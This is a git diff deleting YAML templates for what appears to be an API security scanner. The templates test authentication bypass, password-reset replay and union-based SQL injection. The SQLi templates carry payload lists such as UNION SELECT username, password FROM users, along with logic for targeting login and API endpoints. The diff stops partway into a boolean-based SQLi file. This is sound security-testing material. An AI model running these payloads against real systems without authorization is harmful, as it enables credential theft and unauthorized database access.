- name: "Authentication Bypass by sending multiple credentials in parameters"
- description: >
- "Authentication Bypass by sending multiple credentials in parameters is a security vulnerability where attackers attempt to exploit authentication systems by submitting multiple sets of credentials simultaneously. By manipulating parameters, such as username and password, attackers aim to circumvent authentication controls and gain unauthorized access. This method underscores the importance of input validation and secure authentication processes to prevent such credential-based attacks, fortifying the overall security of the system against unauthorized entry."
- details: >
- "Authentication Bypass by sending multiple credentials in parameters is a security risk where attackers manipulate authentication mechanisms by submitting various sets of credentials concurrently. By altering parameters, such as username and password, adversaries attempt to evade authentication controls, leading to potential unauthorized access. Effective input validation and robust authentication protocols are essential countermeasures to thwart such attacks, ensuring the integrity of user authentication processes and bolstering overall system security."
- impact: >
- "The impact of Authentication Bypass by sending multiple credentials in parameters is significant, as it can lead to unauthorized access and potential compromise of user accounts. Exploiting this vulnerability may allow attackers to circumvent authentication controls, posing a risk to the confidentiality and integrity of sensitive information. Implementing stringent input validation checks and adopting secure authentication practices is crucial to mitigate this threat, safeguard user credentials, and maintain the overall security of the system."
-
- category:
- name: NO_AUTH
- shortName: Broken Authentication
- displayName: Broken User Authentication (BUA)
- subCategory: AUTH_BYPASS_MULTI_CREDENTIAL
- severity: HIGH
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa2-broken-authentication.md"
- - "https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html"
- cwe:
- - CWE-287
- cve:
- - CVE-2020-24008
- - CVE-2021-45901
-attributes:
- nature: INTRUSIVE
- plan: PRO
- duration: FAST
-
-
-api_selection_filters:
- response_code:
- gte: 200
- lte: 300
- method:
- neq: "OPTIONS"
- response_payload:
- length:
- gt: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- url:
- contains_either:
- - login
- - signin
- - authenticate
- - auth
- request_payload:
- for_one:
- key:
- regex: "password|^pass$|^pwd$|^user_password$|^userpass$|^passwd$|^user_pwd$|^password1$|^userPass$|^login_password$|^loginpassword$|^user_pass$|^access_password$|^secret$|^user_secret$"
- extract: passwordkey
- extract: respbody
-execute:
- type: single
- requests:
- - req:
- - modify_body_param:
- passwordkey:
- - "${respbody}"
-validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- percentage_match_schema:
- gt: 90
- length:
- gt: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
diff --git a/Broken-User-Authentication/AuthBypassMultiCredentialsSingleParam.yml b/Broken-User-Authentication/AuthBypassMultiCredentialsSingleParam.yml
deleted file mode 100644
index 5aebda72..00000000
--- a/Broken-User-Authentication/AuthBypassMultiCredentialsSingleParam.yml
+++ /dev/null
@@ -1,131 +0,0 @@
-id: AUTH_BYPASS_MULTI_CREDENTIAL_SINGLE_PARAM
-info:
- name: "Authentication Bypass by sending multiple credentials in a single parameter"
- description: >
- "Authentication Bypass by sending multiple credentials in a single parameter is a security loophole where attackers manipulate authentication systems by combining various sets of credentials within a unified parameter. This method seeks to undermine authentication controls, potentially enabling unauthorized access. Mitigating this vulnerability requires robust input validation and adherence to secure authentication practices, crucial for preserving the integrity of user authentication processes and enhancing overall system security."
- details: >
- "Authentication Bypass by sending multiple credentials in a single parameter is a security risk where attackers attempt to manipulate authentication systems by consolidating various sets of credentials within a unified parameter. This tactic aims to subvert authentication controls and gain unauthorized access. Implementing robust input validation and adopting secure authentication practices are critical measures to mitigate this vulnerability, fortifying the integrity of user authentication processes and enhancing overall system security."
- impact: >
- "The impact of Authentication Bypass by sending multiple credentials in a single parameter is significant, as it can lead to unauthorized access and potential compromise of user accounts. This vulnerability allows attackers to subvert authentication controls, posing a risk to the confidentiality and integrity of sensitive information. Implementing strict input validation and reinforcing secure authentication practices is essential to mitigate this threat, safeguard user credentials, and uphold the overall security of the system."
- category:
- name: NO_AUTH
- shortName: Broken Authentication
- displayName: Broken User Authentication (BUA)
- subCategory: AUTH_BYPASS_MULTI_CREDENTIAL_SINGLE_PARAM
- severity: HIGH
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa2-broken-authentication.md"
- - "https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html"
- cwe:
- - CWE-287
- cve:
- - CVE-2020-24008
- - CVE-2021-45901
-attributes:
- nature: INTRUSIVE
- plan: PRO
- duration: FAST
-
-
-api_selection_filters:
- response_code:
- gte: 200
- lte: 300
- method:
- neq: "OPTIONS"
- response_payload:
- length:
- gt: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- url:
- contains_either:
- - login
- - signin
- - authenticate
- - auth
- request_payload:
- for_one:
- key:
- regex: "password|^pass$|^pwd$|^user_password$|^userpass$|^passwd$|^user_pwd$|^password1$|^userPass$|^login_password$|^loginpassword$|^user_pass$|^access_password$|^secret$|^user_secret$"
- extract: passwordKey
- value:
- extract: passwordVal
-execute:
- type: single
- requests:
- - req:
- - modify_body_param:
- passwordKey:
- - "${passwordVal}"
- - random
- - "123456"
- - qwerty
-validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- gt: 0
- percentage_match_schema:
- gte: 90
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- -
- -
diff --git a/Broken-User-Authentication/AuthBypassPasswordReset.yml b/Broken-User-Authentication/AuthBypassPasswordReset.yml
deleted file mode 100644
index 680598bd..00000000
--- a/Broken-User-Authentication/AuthBypassPasswordReset.yml
+++ /dev/null
@@ -1,134 +0,0 @@
-id: AUTH_BYPASS_PASSWORD_RESET
-info:
- name: "Authentication Bypass with replaying Password Reset Endpoint"
- description: >
- "Authentication Bypass via Password Reset Endpoint Replay is a security vulnerability where attackers intercept and replay previously captured password reset requests. Exploiting this flaw enables unauthorized access to user accounts without valid credentials. This underscores the importance of implementing robust security measures to prevent and detect replay attacks in password reset processes, crucial for maintaining overall system security."
- details: >
- "Authentication Bypass via Password Reset Endpoint Replay is a security vulnerability where attackers intercept and replay captured password reset requests, enabling unauthorized access to user accounts without valid credentials. This exploitation poses a significant threat to system security, emphasizing the need for robust measures in password reset processes to detect and prevent replay attacks effectively. Implementing dynamic and secure authentication controls is crucial for safeguarding user accounts and maintaining overall system integrity."
- impact: >
- "The impact of Authentication Bypass via Password Reset Endpoint Replay is profound, as it allows malicious actors to gain unauthorized access to user accounts without valid credentials. This exploitation can lead to compromised user privacy, unauthorized data access, and potential account takeovers. Organizations may face severe consequences, including reputational damage and regulatory issues, highlighting the critical importance of implementing stringent security measures to thwart replay attacks in password reset processes."
-
- category:
- name: NO_AUTH
- shortName: Broken Authentication
- displayName: Broken User Authentication (BUA)
- subCategory: AUTH_BYPASS_PASSWORD_RESET
- severity: HIGH
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa2-broken-authentication.md"
- - "https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html"
- cwe:
- - CWE-287
- cve:
- - CVE-2020-24008
- - CVE-2021-45901
-attributes:
- nature: INTRUSIVE
- plan: PRO
- duration: FAST
-
-
-api_selection_filters:
- method:
- not_contains:
- - GET
- - OPTIONS
- response_code:
- gte: 200
- lt: 300
- extract: resp_code
- response_payload:
- length:
- gt: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- url:
- contains_either:
- - password-reset
- - reset-password
- - "user/reset"
- - "account/recover"
- - "api/password_reset"
- - "password/reset"
- - "password/forgot"
- - "reset/confirm"
- - "password/new"
- - "account/reset-password-request"
- - "password_reset_request"
- - "unlock_account"
- - "account_recovery"
- request_payload:
- for_one:
- key:
- regex: "password|^pass$|^pwd$|^user_password$|^userpass$|^passwd$|^user_pwd$|^password1$|^userPass$|^login_password$|^loginpassword$|^user_pass$|^access_password$|^secret$|^user_secret$"
-
-execute:
- type: single
- requests:
- - req: []
-
-validate:
- response_code:
- eq: ${resp_code}
- response_payload:
- percentage_match_schema:
- gte: 90
- length:
- gt: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
diff --git a/Broken-User-Authentication/BasicUnionBasedSQLiGET.yml b/Broken-User-Authentication/BasicUnionBasedSQLiGET.yml
deleted file mode 100644
index 138efdc3..00000000
--- a/Broken-User-Authentication/BasicUnionBasedSQLiGET.yml
+++ /dev/null
@@ -1,243 +0,0 @@
-id: BASIC_UNION_BASED_SQLI_GET
-info:
- name: "Basic Union based SQL Injection test on GET method APIs"
- description: "The Basic Union-Based SQL Injection Test on GET Method APIs checks for vulnerabilities where an attacker can use the `UNION` SQL operator to manipulate backend queries through GET request parameters. By injecting malicious SQL code into input fields, the attacker can potentially access unauthorized data or modify database contents. This test targets APIs that do not properly validate or sanitize user inputs, making them susceptible to SQL injection. Proper input validation and parameterized queries are key to preventing such attacks."
- details: "The Basic Union-Based SQL Injection Test on GET Method APIs involves injecting malicious SQL queries into GET request parameters that are not properly sanitized or validated. The test specifically exploits the `UNION` operator, which allows attackers to combine results from multiple SQL queries, potentially exposing sensitive data from the database. This type of attack can lead to unauthorized data access, disclosure of sensitive information, and in some cases, database corruption. Implementing parameterized queries and strong input validation is essential to mitigate such risks."
- impact: "The impact of the Basic Union-Based SQL Injection Test on GET Method APIs can be severe, as it allows attackers to access or manipulate sensitive database information through malicious SQL queries. This can lead to unauthorized data exposure, data corruption, and in some cases, complete system compromise. Additionally, attackers could escalate privileges or perform other malicious actions, potentially causing significant damage to the organization’s reputation, legal liabilities, and financial losses. Proper input sanitization and query parameterization are critical to preventing such attacks."
-
- category:
- name: NO_AUTH
- shortName: Broken Authentication
- displayName: Broken User Authentication (BUA)
- subCategory: BASIC_UNION_BASED_SQLI_GET
- severity: MEDIUM
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa2-broken-authentication.md"
- - "https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html"
- cwe:
- - CWE-287
- cve:
- - CVE-2020-24008
- - CVE-2021-45901
-
-attributes:
- nature: INTRUSIVE
- plan: PRO
- duration: FAST
-
-
-api_selection_filters:
- response_code:
- gte: 200
- lt: 300
- method:
- eq: GET
- response_payload:
- length:
- gt: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- -
- -
-
- query_param:
- for_one:
- key:
- regex: ".*"
- extract: userKey
- value:
- extract: userVal
-wordLists:
- unionBasedPayloads:
- - "' UNION SELECT null, null--"
- - "' UNION SELECT null, null, null--"
- - "' UNION SELECT null, null, null, null--"
- - "' UNION SELECT 1, 'username', 'password' FROM users--"
- - "' UNION SELECT null, username, password FROM users--"
- - "' UNION ALL SELECT null, null, null--"
- - "' UNION ALL SELECT 1, 'admin', 'password'--"
- - "' UNION SELECT 1, 'abc', 'def', null, null--"
- - "' UNION SELECT username, password FROM users--"
- unionNegativeBasedPayloads:
- - "' UNION SELECT null, null WHERE 1=0-- "
- - "' UNION SELECT null, null, null WHERE 1=0--"
- - "' UNION SELECT null, null, null, null WHERE 1=0--"
- - "' UNION SELECT 1, 'username', 'password' FROM users WHERE 1=0--"
- - "' UNION SELECT null, username, password FROM users WHERE 1=0--"
- - "' UNION ALL SELECT null, null, null WHERE 1=0--"
- - "' UNION ALL SELECT 1, 'admin', 'password' WHERE 1=0--"
- - "' UNION SELECT 1, 'abc', 'def', null, null WHERE 1=0--"
- - "' UNION SELECT username, password FROM users WHERE 1=0--"
-execute:
- type: multiple
- requests:
- - req:
- - modify_query_param:
- userKey: ${userVal}${unionBasedPayloads}
- - validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- gt: 0
- not_contains:
- - Error
- - Internal Server
- - Fail
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - Attention Required!
- - CloudFlare
- - Sorry, you have been blocked
- - UNION
- - SELECT
- -
- -
- - success: x2
- - failure: exit
- - req:
- - modify_query_param:
- userKey: ${userVal}${unionNegativeBasedPayloads}
- - validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- gt: 0
- not_contains:
- - Error
- - Internal Server
- - Fail
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - Attention Required!
- - CloudFlare
- - Sorry, you have been blocked
- - UNION
- - SELECT
- -
- -
- neq_obj: "${x1.response.body}"
- - success: x3
- - failure: exit
- - req:
- - modify_query_param:
- userKey: ${userVal}${unionNegativeBasedPayloads}
- - validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- gt: 0
- not_contains:
- - Error
- - Internal Server
- - Fail
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - Attention Required!
- - CloudFlare
- - Sorry, you have been blocked
- - UNION
- - SELECT
- -
- -
- eq_obj: "${x2.response.body}"
- - success: vulnerable
- - failure: exit
diff --git a/Broken-User-Authentication/BasicUnionBasedSQLiLoginEndpoint.yml b/Broken-User-Authentication/BasicUnionBasedSQLiLoginEndpoint.yml
deleted file mode 100644
index 018eb5f0..00000000
--- a/Broken-User-Authentication/BasicUnionBasedSQLiLoginEndpoint.yml
+++ /dev/null
@@ -1,251 +0,0 @@
-id: BASIC_UNION_BASED_SQLI
-info:
- name: "Basic Union based SQL Injection test on Login Endpoints"
- description: >
- "A basic Union-based SQL Injection test on login endpoints involves injecting SQL statements with the UNION operator to combine the results of a malicious query with the legitimate one. This technique aims to retrieve data from the database by appending additional SELECT statements. If the endpoint is vulnerable, this method can expose sensitive information from other database tables."
- details: >
- "Union-based SQL Injection testing on login endpoints involves appending a UNION SELECT statement to the input fields, attempting to combine the results of the original query with that of a malicious query. This technique exploits vulnerabilities by retrieving data from other tables in the database. Successful execution indicates the endpoint's susceptibility to SQL Injection, highlighting the need for input validation and parameterized queries."
- impact: >
- "The impact of Union-based SQL Injection on login endpoints can be severe, allowing attackers to retrieve sensitive information from the database. This can lead to unauthorized access to user data, administrative control, and potentially full system compromise. Exploiting this vulnerability can result in data breaches, loss of data integrity, and significant damage to an organization's reputation and security posture."
-
- category:
- name: NO_AUTH
- shortName: Broken Authentication
- displayName: Broken User Authentication (BUA)
- subCategory: BASIC_UNION_BASED_SQLI
- severity: MEDIUM
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa2-broken-authentication.md"
- - "https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html"
- cwe:
- - CWE-287
- cve:
- - CVE-2020-24008
- - CVE-2021-45901
-
-attributes:
- nature: INTRUSIVE
- plan: PRO
- duration: FAST
-
-
-api_selection_filters:
- response_code:
- gte: 200
- lt: 300
- method:
- neq: "OPTIONS"
- response_payload:
- length:
- gt: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- -
- -
- url:
- contains_either:
- - login
- - signin
- - authenticate
- - auth
- request_payload:
- for_one:
- key:
- regex: "username|^user$|^userid$|^user_id$|^login$|^login_id$|email|^account$|^account_id$|^member$|^member_id$|^id$|^user_name$|^uname$|^identifier$|^user_identifier$|^admin$|^nick$|^nickname$|^handle$|^alias$|^principal$|^profile$|^profile_id$|^name$|^signin$|^auth$|^credential$|^user_login$|^user_account$|^user_email$|^employee$|^employee_id$|^operator$|^customer_id$|^client_id$|^subscriber$|^subscriber_id$|^participant$|^participant_id$|^client_id$|^userLoginID$|^client-name$"
- extract: userKey
- value:
- extract: userVal
-wordLists:
- unionBasedPayloads:
- - "' UNION SELECT null, null--"
- - "' UNION SELECT null, null, null--"
- - "' UNION SELECT null, null, null, null--"
- - "' UNION SELECT 1, 'username', 'password' FROM users--"
- - "' UNION SELECT null, username, password FROM users--"
- - "' UNION ALL SELECT null, null, null--"
- - "' UNION ALL SELECT 1, 'admin', 'password'--"
- - "' UNION SELECT 1, 'abc', 'def', null, null--"
- - "' UNION SELECT username, password FROM users--"
- unionNegativeBasedPayloads:
- - "' UNION SELECT null, null WHERE 1=0-- "
- - "' UNION SELECT null, null, null WHERE 1=0--"
- - "' UNION SELECT null, null, null, null WHERE 1=0--"
- - "' UNION SELECT 1, 'username', 'password' FROM users WHERE 1=0--"
- - "' UNION SELECT null, username, password FROM users WHERE 1=0--"
- - "' UNION ALL SELECT null, null, null WHERE 1=0--"
- - "' UNION ALL SELECT 1, 'admin', 'password' WHERE 1=0--"
- - "' UNION SELECT 1, 'abc', 'def', null, null WHERE 1=0--"
- - "' UNION SELECT username, password FROM users WHERE 1=0--"
-execute:
- type: multiple
- requests:
- - req:
- - modify_body_param:
- userKey: ${userVal}${unionBasedPayloads}
- - validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- gt: 0
- not_contains:
- - Error
- - Internal Server
- - Fail
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - Attention Required!
- - CloudFlare
- - Sorry, you have been blocked
- - UNION
- - SELECT
- -
- -
- - success: x2
- - failure: exit
- - req:
- - modify_body_param:
- userKey: ${userVal}${unionNegativeBasedPayloads}
- - validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- gt: 0
- not_contains:
- - Error
- - Internal Server
- - Fail
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - Attention Required!
- - CloudFlare
- - Sorry, you have been blocked
- - UNION
- - SELECT
- -
- -
- neq_obj: "${x1.response.body}"
- - success: x3
- - failure: exit
- - req:
- - modify_body_param:
- userKey: ${userVal}${unionNegativeBasedPayloads}
- - validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- gt: 0
- not_contains:
- - Error
- - Internal Server
- - Fail
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - Attention Required!
- - CloudFlare
- - Sorry, you have been blocked
- - UNION
- - SELECT
- -
- -
- eq_obj: "${x2.response.body}"
- - success: vulnerable
- - failure: exit
\ No newline at end of file
diff --git a/Broken-User-Authentication/BasicUnionBasedSQLiPOST.yml b/Broken-User-Authentication/BasicUnionBasedSQLiPOST.yml
deleted file mode 100644
index 1f0c33af..00000000
--- a/Broken-User-Authentication/BasicUnionBasedSQLiPOST.yml
+++ /dev/null
@@ -1,243 +0,0 @@
-id: BASIC_UNION_BASED_SQLI_POST
-info:
- name: "Basic Union based SQL Injection test on POST method APIs"
- description: "The Basic Union-Based SQL Injection Test on POST Method APIs checks for vulnerabilities where an attacker can use the `UNION` SQL operator to manipulate backend queries through POST request parameters. By injecting malicious SQL code into input fields, the attacker can potentially access unauthorized data or modify database contents. This test targets APIs that do not properly validate or sanitize user inputs, making them susceptible to SQL injection. Proper input validation and parameterized queries are key to preventing such attacks."
- details: "The Basic Union-Based SQL Injection Test on POST Method APIs involves injecting malicious SQL queries into POST request parameters that are not properly sanitized or validated. The test specifically exploits the `UNION` operator, which allows attackers to combine results from multiple SQL queries, potentially exposing sensitive data from the database. This type of attack can lead to unauthorized data access, disclosure of sensitive information, and in some cases, database corruption. Implementing parameterized queries and strong input validation is essential to mitigate such risks."
- impact: "The impact of the Basic Union-Based SQL Injection Test on POST Method APIs can be severe, as it allows attackers to access or manipulate sensitive database information through malicious SQL queries. This can lead to unauthorized data exposure, data corruption, and in some cases, complete system compromise. Additionally, attackers could escalate privileges or perform other malicious actions, potentially causing significant damage to the organization’s reputation, legal liabilities, and financial losses. Proper input sanitization and query parameterization are critical to preventing such attacks."
-
- category:
- name: NO_AUTH
- shortName: Broken Authentication
- displayName: Broken User Authentication (BUA)
- subCategory: BASIC_UNION_BASED_SQLI_POST
- severity: MEDIUM
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa2-broken-authentication.md"
- - "https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html"
- cwe:
- - CWE-287
- cve:
- - CVE-2020-24008
- - CVE-2021-45901
-
-attributes:
- nature: INTRUSIVE
- plan: PRO
- duration: FAST
-
-
-api_selection_filters:
- response_code:
- gte: 200
- lt: 300
- method:
- eq: POST
- response_payload:
- length:
- gt: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- -
- -
-
- request_payload:
- for_one:
- key:
- regex: ".*"
- extract: userKey
- value:
- extract: userVal
-wordLists:
- unionBasedPayloads:
- - "' UNION SELECT null, null--"
- - "' UNION SELECT null, null, null--"
- - "' UNION SELECT null, null, null, null--"
- - "' UNION SELECT 1, 'username', 'password' FROM users--"
- - "' UNION SELECT null, username, password FROM users--"
- - "' UNION ALL SELECT null, null, null--"
- - "' UNION ALL SELECT 1, 'admin', 'password'--"
- - "' UNION SELECT 1, 'abc', 'def', null, null--"
- - "' UNION SELECT username, password FROM users--"
- unionNegativeBasedPayloads:
- - "' UNION SELECT null, null WHERE 1=0-- "
- - "' UNION SELECT null, null, null WHERE 1=0--"
- - "' UNION SELECT null, null, null, null WHERE 1=0--"
- - "' UNION SELECT 1, 'username', 'password' FROM users WHERE 1=0--"
- - "' UNION SELECT null, username, password FROM users WHERE 1=0--"
- - "' UNION ALL SELECT null, null, null WHERE 1=0--"
- - "' UNION ALL SELECT 1, 'admin', 'password' WHERE 1=0--"
- - "' UNION SELECT 1, 'abc', 'def', null, null WHERE 1=0--"
- - "' UNION SELECT username, password FROM users WHERE 1=0--"
-execute:
- type: multiple
- requests:
- - req:
- - modify_body_param:
- userKey: ${userVal}${unionBasedPayloads}
- - validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- gt: 0
- not_contains:
- - Error
- - Internal Server
- - Fail
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - Attention Required!
- - CloudFlare
- - Sorry, you have been blocked
- - UNION
- - SELECT
- -
- -
- - success: x2
- - failure: exit
- - req:
- - modify_body_param:
- userKey: ${userVal}${unionNegativeBasedPayloads}
- - validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- gt: 0
- not_contains:
- - Error
- - Internal Server
- - Fail
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - Attention Required!
- - CloudFlare
- - Sorry, you have been blocked
- - UNION
- - SELECT
- -
- -
- neq_obj: "${x1.response.body}"
- - success: x3
- - failure: exit
- - req:
- - modify_body_param:
- userKey: ${userVal}${unionNegativeBasedPayloads}
- - validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- gt: 0
- not_contains:
- - Error
- - Internal Server
- - Fail
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - Attention Required!
- - CloudFlare
- - Sorry, you have been blocked
- - UNION
- - SELECT
- -
- -
- eq_obj: "${x2.response.body}"
- - success: vulnerable
- - failure: exit
\ No newline at end of file
diff --git a/Broken-User-Authentication/BooleanBasedSQLiGET.yml b/Broken-User-Authentication/BooleanBasedSQLiGET.yml
deleted file mode 100644
index 0c9a114c..00000000
--- a/Broken-User-Authentication/BooleanBasedSQLiGET.yml
+++ /dev/null
@@ -1,202 +0,0 @@
-id: BOOLEAN_BASED_SQLI_GET
-info:
- name: "Boolean based SQL Injection test on GET method APIs"
- description: "The Boolean-Based SQL Injection Test on GET Method APIs examines whether an attacker can manipulate SQL queries by injecting boolean expressions (e.g., `AND 1=1` or `AND 1=2`) into GET request parameters. This technique does not return immediate errors but allows attackers to infer information about the database structure based on the application’s response to different inputs. By exploiting the lack of proper input validation, attackers can extract sensitive information or manipulate the database. Proper input sanitization and error handling can help prevent such attacks."
